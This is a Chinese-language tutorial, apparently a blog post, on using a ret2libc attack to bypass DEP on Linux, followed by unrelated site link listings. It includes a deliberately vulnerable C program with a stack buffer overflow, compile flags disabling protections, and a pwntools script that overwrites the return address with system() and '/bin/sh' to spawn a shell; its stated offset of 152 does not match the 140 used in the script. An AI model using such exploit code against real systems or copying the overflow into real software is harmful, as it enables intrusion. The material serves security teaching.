Linux下利用Ret2Libc绕过DEP

⑴.  原理分析:

系统库函数通常是不受DEP(关于DEP,可以查看我之前文章的详细介绍)保护的,所以通过将返回地址指向系统函数可以绕过DEP保护,所以可以通过调研系统函数system()获得shell。

⑵.环境准备:

i.漏洞代码:

#include <stdio.h>

#include <stdlib.h>

#include <unistd.h>

#include <string.h>

void flow(){

char buf[128];

read(STDIN_FILENO,buf,256);

}

int main(){

flow();

char a[]="hello";

write(STDOUT_FILENO,a,strlen(a));

return 0;

}

编译指令:

gcc -fno-stack-protector -g -m32 -o vuln vuln.c

ii.测试环境:

测试系统:kaii 2.0 rolling

辅助插件:peda

⑶.测试分析:

i.存在漏洞的函数flow返回地址:

漏洞函数返回地址:0xffffd2ac。

ii.缓冲区起始地址:

缓冲区起始地址:0xffffd220

iii. 系统函数system()地址

iv.System参数:”/bin/sh”

v. system函数源码:

int system(const char * cmdstring)

{

pid_t pid;

int status;

if(cmdstring == NULL){

return (1);

}

if((pid = fork())<0){

status = -1;

}

else if(pid == 0){

execl("/bin/sh", "sh", "-c", cmdstring, (char *)0);

_exit(127); //子进程正常执行则不会执行此语句

}

else{

while(waitpid(pid, &status, 0) < 0){

if(errno != EINTER){

status = -1;

break;

}

}

}

return status;

}

⑷.攻击过程:

i.计算攻击shellcode长度:

我们的目的是用system函数的地址覆盖返回地址,将system函数后的参数地址(后8字节,后四字节是返回地址)覆盖为我们找到的”/bin/sh”的地址。

所以size(shellcode)= address(ret)- address(buff)+ 12 = 0xffffd2ac – 0xffffd220 + 12 = 152

ii. 设计shellcode结构:

注:因为我们劫持程序后获得shell之后不会再返回,所以addr(ret:system)可以是任意地址。

iii.编写漏洞利用脚本:

from pwn import *

sh = 0xf7f4a808

system = 0xf7e0bc70

ret = 0x565555d4

payload = 'a'*140+p32(system)+p32(ret)+p32(sh)

p = process('./vuln')

p.send(payload)

p.interactive()

执行:

成功。

Linux下利用Ret2Libc绕过DEP的更多相关文章

  1. 内存保护机制及绕过方法——利用Ret2Libc绕过DEP之VirtualProtect函数

    利用Ret2Libc绕过DEP之VirtualProtect函数 ⑴.  原理分析: i.相关概念: VirtualProtect()函数: BOOL WINAPI VirtualProtect( _ ...

  2. 内存保护机制及绕过方法——利用Ret2Libc绕过DEP之ZwSetInformationProcess函数

    1.    DEP内存保护机制 1.1   DEP工作原理 分析缓冲区溢出攻击,其根源在于现代计算机对数据和代码没有明确区分这一先天缺陷,就目前来看重新去设计计算机体系结构基本上是不可能的,我们只能靠 ...

  3. 【java】 linux下利用nohup后台运行jar文件包程序

    Linux 运行jar包命令如下: 方式一: java -jar XXX.jar 特点:当前ssh窗口被锁定,可按CTRL + C打断程序运行,或直接关闭窗口,程序退出 那如何让窗口不锁定? 方式二 ...

  4. linux下利用elk+redis 搭建日志分析平台教程

    linux下利用elk+redis 搭建日志分析平台教程 http://www.alliedjeep.com/18084.htm   elk 日志分析+redis数据库可以创建一个不错的日志分析平台了 ...

  5. 嵌入式 linux下利用backtrace追踪函数调用堆栈以及定位段错误

    嵌入式 linux下利用backtrace追踪函数调用堆栈以及定位段错误 2015-05-27 14:19 184人阅读 评论(0) 收藏 举报  分类: 嵌入式(928)  一般察看函数运行时堆栈的 ...

  6. linux下利用openssl来实现证书的颁发(详细步骤)--转载和修改

    原文地址:http://www.cnblogs.com/firtree/p/4028354.html linux下利用openssl来实现证书的颁发(详细步骤) 1.首先需要安装openssl,一个开 ...

  7. Linux下利用script命令录制并回放终端会话

    Linux下利用script命令录制并回放终端会话 核心命令 script 和 scriptreplay 录制屏幕 script -t 2>timescript typescript 命令解释: ...

  8. Linux下利用nginx实现负载均衡

    linux下利用nginx实现负载均衡 前提条件: 1,安装好jdk 2,安装好tomcat和nginx(可以参考我前两篇文章) 满足前提条件后,要用nginx实现负载均衡,主要是靠配置nginx的配 ...

  9. 【ARM-Linux开发】【CUDA开发】【视频开发】关于Linux下利用GPU对视频进行硬件加速转码的方案

    最近一直在研究Linux下利用GPU进行硬件加速转码的方案,折腾了很久,至今没有找到比较理想的硬加速转码方案.似乎网上讨论这一方案的文章也特别少,这个过程中也进行了各种尝试,遇到很多具体问题,以下便对 ...

随机推荐

  1. Java GC 标记/清除算法

    1) 标记/清除算法是怎么来的? 我们在程序运行期间如果想进行垃圾回收,就必须让GC线程与程序当中的线程互相配合,才能在不影响程序运行的前提下,顺利的将垃圾进行回收. 为了达到这个目的,标记/清除算法 ...

  2. Win32GUI代码示例

    // Win32UI.cpp : 定义应用程序的入口点. // #include "stdafx.h" #include "Win32UI.h" #includ ...

  3. mellanox RDMA RoCE

    一:首先根据系统发行版本下载对应的驱动,下载地址如下: http://www.mellanox.com/page/products_dyn?product_family=26&mtag=lin ...

  4. JS正则表达式从入门到入土(3)—— 范围类

    范围类 在使用正则表达式时,很多时候,我们会想要匹配a~z的所有字母,很多人想到,可以使用字符类[abcdefg...z],但是,这种方法需要输入所有需要匹配的字母.那么,有没有简单点的方法呢? 所幸 ...

  5. webservice、WSDL简介

    Webservice是跨平台.跨语言的远程调用技术 通信机制的本质是xml数据交换 采用soap协议进行通信 而WSDL 指网络服务描述语言 (Web Services Description Lan ...

  6. SublimeText2 编辑器使用小结

    用SublimeText 2进行前端开发也有一段时间了,所谓“工欲善其事必先利其器”,前几日对照着网易课程又重新温习总结了一下有关SublimeText编辑器的使用方式,有所收获,在此进行一次小小的总 ...

  7. [参考]C的scanf 和 C++的fscanf 的用法

    说明:本文不适合新手学习,适合用来做参考.本文参考有其他博客的内容,不过年代久远已经忘记了,在此感谢各位博主! scanf函数 用 法:int scanf(char *format[,argument ...

  8. Student : IComparable<Student> 以及逆变和协变

    IComparable<Student>是Student的父类,所以IComparable<Student>可以接收Student.但是在使用CompareTo方法的时候,必须 ...

  9. 每天一点存储知识:集群Nas

    什么是集群Nas 集群是由多个节点构成的一种松散耦合的计算节点集合,协同起来对外提供服务.集群主要分为高性能集群HPC,高可用集群HAC和负载均衡集群LBC.集群Nas是指协同多个节点(通常称为Nas ...

  10. Java常用的几种线程池

    常用的几种线程池 5.1 newCachedThreadPool 创建一个可缓存线程池,如果线程池长度超过处理需要,可灵活回收空闲线程,若无可回收,则新建线程. 这种类型的线程池特点是: 工作线程的创 ...